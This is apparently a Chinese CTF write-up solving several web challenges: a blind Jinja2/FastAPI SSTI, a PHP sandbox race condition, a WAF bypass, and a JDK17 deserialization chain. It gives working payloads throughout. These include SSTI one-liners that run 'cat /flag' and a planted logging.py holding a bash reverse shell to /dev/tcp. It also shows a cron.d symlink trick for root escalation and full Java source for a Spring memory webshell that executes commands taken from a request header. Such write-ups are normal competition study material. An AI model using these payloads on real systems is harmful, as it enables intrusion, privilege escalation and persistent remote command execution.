尽力了,自己还是太菜了
Encircling
普通小游戏,打赢即有flag,前端操作一下就行了。
GoldenHornKing
非预期解
我出的是非预期解。
源码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 import osimport jinja2import functoolsimport uvicornfrom fastapi import FastAPIfrom fastapi.templating import Jinja2Templatesfrom anyio import fail_after, sleepdef timeout_after (timeout: int = 1 ): def decorator (func ): @functools.wraps(func ) async def wrapper (*args, **kwargs ): with fail_after(timeout): return await func(*args, **kwargs) return wrapper return decorator app = FastAPI() access = False _base_path = os.path.dirname(os.path.abspath(__file__)) t = Jinja2Templates(directory=_base_path) @app.get("/" ) @timeout_after(1 ) async def index (): return open (__file__, 'r' ).read() @app.get("/calc" ) @timeout_after(1 ) async def ssti (calc_req: str ): global access if (any (char.isdigit() for char in calc_req)) or ("%" in calc_req) or not calc_req.isascii() or access: return "bad char" else : jinja2.Environment(loader=jinja2.BaseLoader()).from_string(f"{{{{ {calc_req} }}}}" ).render({"app" : app}) access = True return "fight" if __name__ == "__main__" : uvicorn.run(app, host="0.0.0.0" , port=5000 )
去查一下就知道了,jinja2.Environment(loader=jinja2.BaseLoader()).from_string(f"{{{{ {calc_req} }}}}").render({"app": app})
就是jinja2+fastapi
的ssti语句。也就是说我们这里就是打fastapi+jinja2
的ssti。示例代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 from fastapi import FastAPIfrom fastapi.responses import HTMLResponsefrom jinja2 import Environmentapp = FastAPI() @app.get("/" ) async def read_root (username=None ): username = username or "Guest" Jinja2 = Environment() output = Jinja2.from_string("Welcome " + username + "!" ).render() return HTMLResponse(content=output)
很像吧。
但是这个题目有限制,无回显+access限制。access
的存在使得我们每开启一次就只能打一次payload,如果一次不能成功就只能重启靶机。
所以先本地测试,改成有回显的情况。哦对,还有过滤,过滤数字和%
,差点忘了。
本地测试发现不用{{}}
包裹就能够打ssti了。
测试payload:
1 lipsum.__globals__.os.popen('dir').read()
有回显
尝试反弹shell发现payload会带数字,dnslog curl不到。
那现在就是指向一个无回显、不出网、只能打一次限制盲注的情况。
这种情况最好的办法就是打内存马,要打内存马就只能找到添加路由的函数,欸,但是我没找到。
我找的是另一条路,灵感来自于pyjail。
link_here
看到这里灵感瞬间来了,我们lipsum也能够拿到exec,那就是说我们能够篡改任意一个函数。篡改哪个呢?答案不言而喻。
1 2 3 4 @app.get("/" ) @timeout_after(1 ) async def index (): return open (__file__, 'r' ).read()
很明显就是这个open,能够返回值显示的,这样不就有回显了吗?
照猫画虎一下修改open,这里用的是lambda表达式,很好写的:
1 lipsum.__globals__['__builtins__' ]['exec' ]("globals()['__builtins__']['open']=lambda x,y: __import__('os').popen('cat /flag')" )
本地测试:
1 lipsum.__globals__['__builtins__' ]['exec' ]("globals()['__builtins__']['open']=lambda x,y: __import__('os').popen('whoami')" )
至于为什么用popen
,很简单啊,因为还要调用一个.read()
,我们平时做ssti不都是popen('xxx').read()
吗,这不就相当于popen('xxx').read()
吗
本地测试成功。去远程环境打就可以了:
预期解
Z3r4y师傅的解法,发现了add_api_route
可以动态添加一个路由,那payload很简单了:
1 /calc?calc_req=config.__init__.__globals__['__builtins__' ]['exec' ]('app.add_api_route("/flag",lambda:__import__("os").popen("cat /flag").read());' ,{"app" :app})
php online
有点炸裂这题,源码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 from flask import Flask, request, session, redirect, url_for, render_templateimport osimport secretsapp = Flask(__name__) app.secret_key = secrets.token_hex(16 ) working_id = [] @app.route('/' , methods=['GET' , 'POST' ] ) def index (): if request.method == 'POST' : id = request.form['id' ] if not id .isalnum() or len (id ) != 8 : return '无效的ID' session['id' ] = id if not os.path.exists(f'/sandbox/{id } ' ): os.popen(f'mkdir /sandbox/{id } && chown www-data /sandbox/{id } && chmod a+w /sandbox/{id } ' ).read() return redirect(url_for('sandbox' )) return render_template('submit_id.html' ) @app.route('/sandbox' , methods=['GET' , 'POST' ] ) def sandbox (): if request.method == 'GET' : if 'id' not in session: return redirect(url_for('index' )) else : return render_template('submit_code.html' ) if request.method == 'POST' : if 'id' not in session: return 'no id' user_id = session['id' ] if user_id in working_id: return 'task is still running' else : working_id.append(user_id) code = request.form.get('code' ) os.popen(f'cd /sandbox/{user_id} && rm *' ).read() os.popen(f'sudo -u www-data cp /app/init.py /sandbox/{user_id} /init.py && cd /sandbox/{user_id} && sudo -u www-data python3 init.py' ).read() os.popen(f'rm -rf /sandbox/{user_id} /phpcode' ).read() php_file = open (f'/sandbox/{user_id} /phpcode' , 'w' ) php_file.write(code) php_file.close() result = os.popen(f'cd /sandbox/{user_id} && sudo -u nobody php phpcode' ).read() os.popen(f'cd /sandbox/{user_id} && rm *' ).read() working_id.remove(user_id) return result if __name__ == '__main__' : app.run(debug=False , host='0.0.0.0' , port=80 )
逻辑就是nobody权限用户去执行php代码,nobody的权限比www-data还低。
这里刚开始看到sudo -u www-data python3 init.py
,用www-data
执行的init.py
,便想去尝试读一下这个文件:
1 2 3 <?php system ('cat /app/init.py' );?>
发现只是一段很普通的代码:
1 2 import logginglogger.info('Code execution start' )
然后没了,看了很久都没看出来。
比完了问了一下烧卖的师傅们,gztime师傅说用的是条件竞争做的。呜呜,当时没看出来。
在哪竞争呢?其实就是这个sudo -u www-data python3 init.py
它import了logging。在python里同目录下的同名py文件优先于第三方库文件。也就是说我们如果在sandbox里也有一个logging.py
,那么它就会先调用我们的logging.py
文件。
很显然我们不能够直接将自己的logging.py
文件放到sandbox
里,因为每次运行都会删掉沙箱里的所有东西。我们先在tmp目录下写,然后sh脚本调用将其循环复制竞争即可。
1 2 3 4 5 6 7 8 <?php system ("echo \"__import__('os').popen('bash -c \"bash -i >& /dev/tcp/ip/port 0>&1\"') > /tmp/logging.py\"" );system ("echo 'while true;do' >> /tmp/a.sh" );system ("echo ' cp /tmp/logging.py /sandbox/sandboxname/logging.py' >> /tmp/a.sh" );system ("echo 'done'>>/tmp/a.sh" );system ("chmod +x /tmp/a.sh" );system ("sh /tmp/a.sh" );?>
这样能够不断将logging.py复制到sandboxname
目录下,也就是一个沙箱内,此时只需要不断在该沙箱内触发sudo -u www-data python3 init.py
即可,随便执行触发。这样能够获取到www-data
权限的shell。但是还不够,flag是只有root权限才能够拿到的,我们还得想办法到root权限。
suid没有有用的信息,uname -a也没有有用的信息。但是ps -aux
会发现开着定时任务。此时我们要想办法往定时任务里写东西。利用沙箱会cd
进沙箱目录然后写phpcode
文件的操作,可以将沙箱和定时任务目录软链接起来,然后写的时候就会写入定时任务里了。
1 ln -s /etc/cron.d /sandbox/xxxxxxxx
然后传定时任务格式的payload就行了:
1 2 * * * * * root cat /flag > /tmp/flag # <?php sleep(10000);?>
# <?php sleep(10000);?>
这里是防止phpcode被删的太快,保证能够写到计划任务里并且执行。最后到/tmp/flag
下读flag就可以了
admin_test
这个题也没看,第二天感觉一眼看上去很简单。简单说下思路吧,dirsearch
扫到admin.html
。是一个上传并且执行命令的界面,传了发现waf,慢慢扫会发现限制了t * . /
,跟ctfshow那个临时文件执行差不多:
最后利用find提权就可以了。
ez_java(未解出)
不懂,考的是jdk17下的cb链。去看了rwctf
的oldsystem
和n1ctf junior
的derby plus
,那两个一个是低版本下的cb链,一个是高版本下的cb链,都指向了ldapAttribute
这条链子,打的是jndi。但是将payload发过去之后发现它还有waf,过滤了org.apache
类,有点不会打了。
updated in 2024/8/20
看了wp,发现又是你妈的utf8 overlong encoding
,卧槽,三次死在这个上面了。
还有一个比较重要的点,cb一般都会带上cc依赖,而实际测试也基本上是这样:
可以看见org.apache.commons下有beanutils和collections,绷不住了。
而且题目不出网,只能够打内存马,这下反而变简单了。用cc链打一个内存马就行了。但是高版本下没有templatesimpl,我们得找一个新的路线去等效替代。
新路线就是MethodHandles.lookup.defineClass
。不由得让我们想到cc3的调用路线,通过InstantiateTransformer
调用这个defineClass
加载字节码,和cc3类似。
打内存马用springEcho。这里得用Unsafe patch一下module,但是wp没有详细提供。因为jdk17模块化的原因导致有些unnamed的module无法加载,所以有可能要添加参数。
1 2 3 4 5 6 7 8 9 10 Class unsafeClass = Class.forName("sun.misc.Unsafe" );Field unsafeField = unsafeClass.getDeclaredField("theUnsafe" );unsafeField.setAccessible(true ); Unsafe unsafe = (Unsafe)unsafeField.get((Object)null );Method getModuleMethod = Class.class.getDeclaredMethod("getModule" );Object module = getModuleMethod.invoke(Object.class);Class clz = xxx.class;long offset = unsafe.objectFieldOffset(Class.class.getDeclaredField("module" ));unsafe.getAndSetObject(clz, offset, module );
神秘的springEcho:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 package com.Err0r233;import sun.misc.Unsafe;import java.io.InputStream;import java.io.Writer;import java.lang.reflect.Field;import java.lang.reflect.Method;import java.util.EventListener;import java.util.Locale;import java.util.Scanner;public class Exploit { private String getReqHeaderName () { return "Cache-Control-Hbobnf" ; } public Exploit () throws Exception{ try { Class unsafeClass = Class.forName("sun.misc.Unsafe" ); Field unsafeField = unsafeClass.getDeclaredField("theUnsafe" ); unsafeField.setAccessible(true ); Unsafe unsafe = (Unsafe) unsafeField.get((Object) null ); Method getModuleMethod = Class.class.getDeclaredMethod("getModule" ); Object module = getModuleMethod.invoke(Object.class); Class clz = Exploit.class; long offset = unsafe.objectFieldOffset(Class.class.getDeclaredField("module" )); unsafe.getAndSetObject(clz, offset, module ); } catch (Exception e){ } this .run(); } public void run () { ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); try { Object requestAttributes = this .invokeMethod(classLoader.loadClass("org.springframework.web.context.request.RequestContextHolder" ), "getRequestAttributes" ); Object request = this .invokeMethod(requestAttributes, "getRequest" ); Object response = this .invokeMethod(requestAttributes, "getResponse" ); Method getHeaderM = request.getClass().getMethod("getHeader" , String.class); String cmd = (String) getHeaderM.invoke(request, this .getReqHeaderName()); if (cmd != null && !cmd.isEmpty()){ Writer writer = (Writer) this .invokeMethod(response, "getWriter" ); writer.write(this .exec(cmd)); writer.flush(); writer.close(); } }catch (Exception e){ } } private String exec (String cmd) { try { boolean isLinux = true ; String osType = System.getProperty("os.name" ); if (osType != null && osType.toLowerCase().contains("win" )){ isLinux = false ; } String[] cmds = isLinux ? new String []{"/bin/sh" , "-c" , cmd} : new String []{"cmd.exe" , "/c" , cmd}; InputStream in = Runtime.getRuntime().exec(cmds).getInputStream(); Scanner s = new Scanner (in).useDelimiter("\\a" ); String execRes; for (execRes = "" ; s.hasNext();execRes = execRes + s.next()){ } return execRes; } catch (Exception var8){ Exception e = var8; return e.getMessage(); } } private Object invokeMethod (Object obj, String methodName) throws Exception{ return this .invokeMethod(obj, methodName, new Class [0 ], new Object [0 ]); } private Object invokeMethod (Object obj, String methodName, Class[] paramClazz, Object[] param) throws Exception{ Class clazz = obj instanceof Class ? (Class) obj : obj.getClass(); Method method = null ; Class tempClass = clazz; while (method == null && tempClass != null ){ try { if (paramClazz == null ){ Method[] methods = tempClass.getDeclaredMethods(); for (int i=0 ;i<methods.length;++i){ if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0 ){ method = methods[i]; break ; } else { method = tempClass.getDeclaredMethod(methodName, paramClazz); } } } } catch (NoSuchMethodException var12){ tempClass = tempClass.getSuperclass(); } } if (method == null ){ throw new NoSuchMethodException (methodName); } else { method.setAccessible(true ); if (obj instanceof Class){ try { return method.invoke((Object) null , param); } catch (IllegalAccessException var10){ throw new RuntimeException (var10.getMessage()); } } else { try { return method.invoke(obj, param); } catch (IllegalAccessException var11){ throw new RuntimeException (var11.getMessage()); } } } } }